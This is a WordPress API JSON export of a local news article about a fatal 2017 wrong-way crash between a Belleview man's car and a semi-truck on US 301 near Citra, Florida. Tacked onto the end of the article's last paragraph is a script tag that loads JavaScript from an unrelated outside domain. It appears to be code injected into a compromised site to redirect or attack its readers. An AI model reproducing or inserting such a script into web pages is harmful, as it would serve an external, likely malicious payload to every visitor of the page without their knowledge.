{"id":211747,"date":"2017-03-05T15:49:08","date_gmt":"2017-03-05T20:49:08","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211747"},"modified":"2017-11-04T15:01:53","modified_gmt":"2017-11-04T19:01:53","slug":"belleview-man-killed-collision-semi","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/belleview-man-killed-collision-semi\/","title":{"rendered":"Belleview Man Killed in Collision with Semi"},"content":{"rendered":"<p><strong>CITRA &#8211;\u00a0<\/strong>A Belleview man was pronounced dead after his vehicle collided with a semi-truck on US Highway 301 at approximately 3:15 am Sunday morning according to a Florida Highway Patrol report.<\/p>\n<p>The man, identified as 56-year-old Jerry D. Likens was traveling in northbound on the shoulder of the southbound lane of US 301 according to the report.<\/p>\n<p>As Likens approached the intersection of US 301 and NE 155th Street Road, he entered the southbound lane traveling north into the direct path of a 1999 Kenworth semi-truck driven by 33-year-old Mario Alvarez.<\/p>\n<p>Alvares attempted to swerve out of Likens&#8217;s path but was unable to do so in time.<\/p>\n<p>Likens struck the front right side of the semi causing his vehicle to spin across the median coming to a stop in the northbound lanes.<\/p>\n<p>Marion County Fire Rescue pronounced\u00a0Likens deceased at the scene and Alvarez was treated for minor injuries.<\/p>\n<p>It is unclear why Likens was traveling northbound in the southbound lanes at this time.<\/p>\n<p>A portion of US 301 was shut down for several ours as troopers investigated the scene.<\/p>\n<p>Troopers are still waiting on results of blood tests to determine if alcohol was involved.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>CITRA &#8211;\u00a0A Belleview man was pronounced dead after his vehicle collided with a semi-truck on US Highway 301 at approximately 3:15 am Sunday morning according&#8230;<\/p>\n","protected":false},"author":1,"featured_media":211749,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[1,7],"tags":[17,2494,2089,32,38,517,1120,1591,1122,2495,85,651,1902,1463,752,96,108,1870,131],"class_list":["post-211747","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-local","category-marion-county","tag-accident","tag-alvarez","tag-citra","tag-collision","tag-crash","tag-death","tag-fatal","tag-fire-rescue","tag-hwy","tag-likens","tag-marion","tag-marion-county","tag-marionso","tag-mcfr","tag-mcso","tag-ocala","tag-semi","tag-truck","tag-us-301","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/03\/fatal-crash-generic.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211747"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211747\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211749"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}